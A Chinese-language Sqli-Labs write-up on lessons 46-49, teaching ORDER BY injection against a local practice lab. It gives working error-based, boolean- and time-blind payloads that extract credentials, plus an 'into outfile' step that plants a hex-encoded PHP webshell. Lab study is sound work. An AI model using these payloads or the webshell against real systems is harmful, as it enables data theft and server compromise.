Sqli-Labs:Less 46 - Less 49*

Less 46

基于错误_GET_数字型_排序注入

这关往后都是order by语句与limit语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sortlimit两个参数。

同样地,这关有很多种注入方式,将一一详细介绍。

0x01. MySQL 语法

本关通过sort参数接收需要排序的列的序号(从1开始),MySQL 查询语句为:

SELECT * FROM users ORDER BY $id

尝试sort=1 ascsort=1 desc,分别显示升序和降序的表格,说明此处是注入点,即注入点在order by后的参数中,而order by不同于在where后的注入,不能使用union等进行注入。
如何进行order by的注入,我们先来了解一下 MySQL 官方的select文档。

https://dev.mysql.com/doc/refman/8.0/en/select.html

Sqli-Labs:Less 46 - Less 49*_第1张图片

0x02. <1> order by 参数注入

order by后的数字可以作为一个注入点,就是构造order by后的一个语句,让该语句执行结果为一个数。

正常查询:

http://localhost:8088/sqlilabs/Less-46/?sort=2

Sqli-Labs:Less 46 - Less 49*_第2张图片

尝试改为语句:

http://localhost:8088/sqlilabs/Less-46/?sort=(select 2)

Sqli-Labs:Less 46 - Less 49*_第3张图片

可以看到没有报错也没有预想的按第二个字段排续,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入与 Bool / Time 盲注,句式可以是以下三种:

?sort=(select ······)
?sort=1 and (select ······)
?sort=rand(······)

第二种和第一种并无本质差别。

0x02-01. 基于报错注入

基于报错注入主要采用的是双注入的方法,即子查询 / 派生表,这在 Less 17 中有详细的介绍。因为这里order by只能接一个字段,所以应当采用派生表的方法,原理见 Less 17:

步骤1:数据库名

http://localhost:8088/sqlilabs/Less-46/?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)

步骤2:表名

http://localhost:8088/sqlilabs/Less-46/?sort=(select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b)

步骤3:字段名

http://localhost:8088/sqlilabs/Less-46/?sort=(select 1 from (select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a) b)

步骤4:数据

http://localhost:8088/sqlilabs/Less-46/?sort=(select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a) b)

以上是第一句式,报错注入也可以采用第二句式。

在《注入天书》中还见到了派生表的另一种写法:

http://localhost:8088/sqlilabs/Less-46/?sort=(select count(*) from information_schema.schemata group by concat_ws('-',(select database()),floor(rand()*2)))

0x02-02. 基于 Bool 盲注

MySQL 像 PHP,也是一种弱类型,它会认为true=1false=0
用在order by后会直接导致显示不同,因为没有第0列:

Sqli-Labs:Less 46 - Less 49*_第4张图片
Sqli-Labs:Less 46 - Less 49*_第5张图片

有了显示的不同我们便可以盲注,但是!

注意:在最开始我们已经看到,order by接返回数字或布尔值(因为是弱类型,布尔值返回仍是数字)的语句是没有作用的!

Sqli-Labs:Less 46 - Less 49*_第6张图片

所以第一和第二句式都不可以盲注,因为显示没有区别。
我们只能用第三句式的rand()函数。

rand()函数早在 Less 5 中已经介绍过了,它是个随机函数,返回0~1间的小数。使用时也可以给定参数值(随机种子),相同的参数生成的结果也相同,我们只需注意两个:

Sqli-Labs:Less 46 - Less 49*_第7张图片

应用在order by中也如此:

Sqli-Labs:Less 46 - Less 49*_第8张图片
Sqli-Labs:Less 46 - Less 49*_第9张图片

于是单次查询可以写成:

http://localhost:8088/sqlilabs/Less-46/?sort=rand((ascii(mid((select database()),1,1)))>65)

Sqli-Labs:Less 46 - Less 49*_第10张图片

考虑代码复用则:

http://localhost:8088/sqlilabs/Less-46/?sort=rand((ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1)))>115)

Sqli-Labs:Less 46 - Less 49*_第11张图片

可以看到正确与错误的表格顺序是不同的,根据此修改代码判定即可。

0x02-03. 基于 Time 盲注

时间盲注倒是出现了意料之外的情况:

Sqli-Labs:Less 46 - Less 49*_第12张图片

查了发现sleep()这个函数水很深:

添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL 会对每条满足条件的记录停留 N 秒钟。

参考:关于MySQL的SLEEP(N)函数

单次查询:

http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

代码复用:

http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(0.1),0)

以上是第一句式,也可以采用第二句式。

0x03. <2> procedure analyse 参数注入

忘了它吧,尝试了很久各种方式都没有成功,应该是 MySQL 的新版本弃用了。

Sqli-Labs:Less 46 - Less 49*_第13张图片

0x04. <3> into outfile 参数注入*

导出结果到文件:

http://localhost:8088/sqlilabs/Less-46/?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"

Sqli-Labs:Less 46 - Less 49*_第14张图片

注意:仍有 Less 7 中提到的数据导入导出权限路径转义的问题,需要重视。

导出文件我们就可以考虑上传一句话木马:

http://localhost:8088/sqlilabs/Less-46/?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\cmd.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

其中lines terminates by将每行以指定字符串结尾:

0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e = hex()

然后便可使用中国菜刀拿到 shell,详见 Less 7。

Less 47

基于错误_GET_字符型_单引号_排序注入

这关怎么都感觉作者设置错了一样,order by如果加了引号则失去了效果:

order by column_name / column_number

不过还好没有屏蔽 MySQL 报错信息,可以利用报错注入或者盲注。

方法1:基于报错注入

和 Less 46 注入方法相同,不过这关因有一个没有用的单引号闭合,只能采用第二句式,即:

?sort=1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+

方法2:基于 Bool 盲注

经过实际测试该方法不可使用,原理是用and rand()连接order by column_name / column_number时返回的不是固定值。

方法3:基于 Time 盲注

盲注方法同 Less 46,同样有每条数据sleep一次的问题:

?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

方法4:into outfile 参数注入

同 Less 46:

?sort=1' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"--+

Less 48

基于盲注_GET_数字型_排序注入

同 Less 46:

方法1:基于 Bool 盲注

?sort=rand((ascii(mid((select database()),1,1)))>65)

方法2:基于 Time 盲注

?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

方法3:into outfile 参数注入

?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"

Less 49

同 Less 47:

基于盲注_GET_字符型_单引号_排序注入

方法1:基于 Time 盲注

?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

方法2:into outfile 参数注入

?sort=1' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"--+

你可能感兴趣的:(Sqli-Labs:Less 46 - Less 49*)